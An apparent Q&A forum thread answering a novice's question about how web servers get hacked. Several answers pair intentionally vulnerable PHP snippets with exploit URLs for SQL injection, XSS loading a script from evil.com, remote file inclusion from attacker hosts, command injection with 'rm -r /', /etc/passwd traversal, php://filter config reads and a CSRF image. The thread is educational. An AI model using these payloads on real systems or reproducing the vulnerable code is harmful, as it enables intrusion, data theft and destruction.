How does hacking work?

Question

I am specifically talking about web servers, running Unix. I have always been curious of how hackers get the entry point. I mean I don't see how a hacker can hack into the webpage when the only entry method they have into the server is a URL. I must be missing something, because I see no way how the hacker can get access to the server just by changing the URL.

By entry point I mean the point of access. The way a hacker gets into the server.

Could I get an example of how a hacker would make an entry point into a webserver? Any C language is acceptable. I have absolutely no experience in hacking

A simple example would be appreciated.

Answer 1

Hacks that work just by changing the URL

• One legit and one malicious example
• Some examples require URL encoding to work (usually done automatically by browser)

SQL Injection

code:

$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

exploit (logs in as administrator without knowing password):

example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

---

Cross Site Scripting (XSS)

code:

$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

exploit (registrers visiting user as a zombie in BeEF):

example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

---

Remote code execution

code (Tylerl's example):

<? include($_GET["module"].".php"); ?>

exploit (downloads and runs arbitrary code) :

example.com/?module=frontpage
example.com/?module=pastebin.com/mymaliciousscript

---

Command injection

code:

<?php
echo shell_exec('cat '.$_GET['filename']);
?>

exploit (tries to delete all files from root directory):

example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /

---

Code injection

code:

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>

exploit (injects phpinfo() command which prints very usefull attack info on screen):

example.com/?arg=1
example.com/?arg=1; phpinfo() 

---

LDAP injection

code:

<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>

exploit (logs in without knowing admin password):

example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*

---

Path traversal

code:

<?php
include("./" . $_GET['page']);
?>

exploit (fetches /etc/passwd):

example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd

---

Redirect/Forward attack

code:

 <?php
 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");
 ?>

exploit (Sends user from your page to evil page) :

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

---

Failure to Restrict URL Access

code:

N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.

exploit:

example.com/users/showUser.php
example.com/admins/editUser.php

---

Cross-Site Request Forgery

code:

N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 

exploit:

Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />

---

Buffer overflow (technically by accessing an URL, but implemented with metasploit

code:

N/A. Vulnerability in the webserver code itself. Standard buffer overflow

Exploit (Metasploit + meterpreter?):

http://www.exploit-db.com/exploits/16798/

Answer 2

The (currently) most common way in is through holes in PHP applications. There are dozens of ways in which this could work, but here's a simple, easy one:

Imagine the unsuspecting site owner decides to take a shortcut in his code such that http://example.com/site.php?module=xyz actually first loads some template shell and then run "xyz.php" to fill in the content. So perhaps he writes something like this:

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

The hacker then visits the site using the following URL:
http://example.com/site.php?module=http://malicio.us/evilprogram

Now, instead of loading his local script, PHP goes out and downloads http://malicio.us/evilprogram.php and executes it -- running whatever PHP code the attacker desires. Perhaps sending spam, perhaps installing a backdoor shell, perhaps searching the configuration files for passwords.

There are literally thousands of ways to hack a site, each as novel as the next. Almost universally, they involve a programmer who didn't think about all the possible inputs to their program and the unexpected effects they might have.

Answer 3

There are 2 ways of looking at it, you could focus on the server itself, or focus on the web application that the server is running.

As a server, it can have open ports running services that you can connect to and gain access to the server. By using known exploits, you could gain root access. For example, some FTP servers for Unix have vulnerabilities that can be exploited by tools like Metasploit to gain a root shell.

As an application, there are far too many ways to exploit a poorly written or configured application. For instance, if you pass a SQL query as a GET, you could actually manipulate the URL itself to perform a SQL Injection attack and dump entire databases. For example (depending on the coding of the site): http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT username, password FROM USERS

Again, you touch on a massive subject and I hope these help you focus your next steps.

Answer 4

The Short Answer

This might not be the right question.

A hacker...

...is a social engineer.

They are more interested in their interactions with people than their interactions with computers. A hacker would far rather have you hand him your password, than have to brute force it.

...is seeking knowledge...

...and knows that knowledge is power. A hacker is more interested in getting your credit card number than he is in actually using it.

...uses morality as an excuse...

...not a cause. This is why many hackers will take advantage of morally-oriented political events to go public. They know they can use morality to excuse their actions in the eyes of the public.

...doesn't get caught unless he wants to.

Most of the time. Wannabe hackers who just jump right in without any regard for stealth or anonymity are known as "script kiddies" or "skiddies" within the hacking community. There are far more skiddies than hackers, most likely, and they will likely be your biggest annoyance.

...doesn't need any special tools or backdoors.

The frontend that you've provided is likely sufficient.

The Long Answer

You can secure yourself against the exploits in Metasploit all you want. A hacker will just walk right on in through the front door--if not virtually, literally.

The Answer You Want

Seeing as how people don't like the answer that I gave, as adequate as it is, I'll give you something a bit more along the lines of what you want.

Hackers like to stay anonymous. The first step in any attack is stringing together a line of proxies of some sort, be they SOCKS proxies, zombies, or just simple bots forming a botnet. There are a few ways of going about this, but let's get some dead proxies for the sake of discussion. Head on over to pastebin.com and do a search for 8080. This is a common port for web proxies. Scroll down in the results until you find a list of IP addresses and click to view the result. You should have a long list of web proxies. I can guarantee that most, if not all, will be dead. Sorry, this is not a hacking tutorial.

The next step is to gather seemingly trivial information about your target. Using his proxies, a hacker would run portscans, then probe any services that he finds. Got a website? Let's explore it. Got a MySQL server? Let's see what version it is. Running SSH? Let's see if it accepts text passwords, or is limited to certificates.

Then the hacker sits down, looks at what he's gathered, and decides what the weakest point of the system is. Depending on the size of the system, he might go back and probe a bit more, if there is more to probe and he feels he hasn't acquired a good enough weakness. A weakness doesn't have to be a true security "hole": it just has to be the weakest link. Perhaps you have an FTP server that doesn't protect against hammering (repeated login attempts). Maybe you have a web server with a bunch of forms or potentially exploitable URLs. Those are worth investigating further.

If necessary, the attacker might write a script or program to carry out the final attack, though this isn't always the case. Most weaknesses can be exploited with existing tools, so this usually is unnecessary for the modern hacker. However, occasionally hackers discover new security holes in software, in which case they sometimes need to write special tools to exploit said software.

A good example of a blatantly obvious attack program is one that is used to cause trouble on servers for a game called Terraria. This wasn't its original purpose, but because it does expose various exploits in the server software, it does tend to be used for that by others. I wrote it in C#. The source code is available on GitHub. The exploits use bytecode manipulation to modify the existing client to send malicious data. The server does not expect this data, and reacts in ways in which it was not designed to function. Discovering exploits like this can be as simple as reverse engineering the target software--I say simple because this has become an increasingly easy task with modern reflective languages, such as C# and Java. Programs such as .NET Reflector (paid) and dotPeek (free, for now) make this possible with the click of a button. A sufficiently trained C# programmer can then observe the code, determine its functionality, and write a program to alter this functionality.

Answer 5

A friend of mine had a contract to work on a site. While he did he notice hackers got into the website and did stuff he didnt like. After looking at some log files he notice the 'hackers' found the site by googling a mysql error.

When you're able to inject sql you can do whatever you want such as creating yourself an account. If you can upload files (especially php) you have a possibility of being able to execute it. If you can execute it you can do more damage like read/write files on the server filesystem even if you dont have an account on the linux/windows server.

Another technique is breaking into the database, looking at the passwords (especially if they aren't hashed) than trying to establish a ssh or ftp connection to the same ip address of the site and trying the user/password combinations.

Also you dont need to break into the server to get hacked. Someone i met told me a story how outdated software was installed on his server. The attackers used it to upload and execute their own php file which injected one line of code (to add an iframe) into every index.php and index.html file. Essentially no one was able to visit the site. It either redirected or gave lots of popups.

Answer 6

How many times have we read about logins with either no password or "Joes"? Doesn't require knowledge of Metasploit or anything really exotic to get in the front door. A bit like a running car sitting in a driveway on a cold morning "Please steal me".

Answer 7

Just a few more examples for you to consider.

Following on from tylerl's example:

<?php
   if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>

Attack vector:

http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure

This is a local file include base64 attack due to lack of any secure coding, an attacker is able to read almost any file on the site or server that ends in [.php], in this case reading the file contents of the configure.php file, PHP returns a base64_encode of the entire file content which is easily decoded back to readable text.

However the malformed URL does not have to seek input security validation holes.

In many web commerce sites, the $PHP_SELF code misreports the filename where yoursite.com/admin/administrators.php, $PHP_SELF reported the filename as administrators.php, however if login.php was appended like admin/administrators.php/login.php, then $PHP_SELF misreport login.php as the filename instead of administrators.php.

So for example if the admin session validation question is asked in this awe inspiring example:

*if ( not a valid admin session ) and ( $PHP_SELF is not = to login.php ) then redirect to login.php*

The page is never going to redirect to the login.php because $PHP_SELF is misreporting the true filename, thus the attacker has access to the administrators.php file without the need for correct credentials.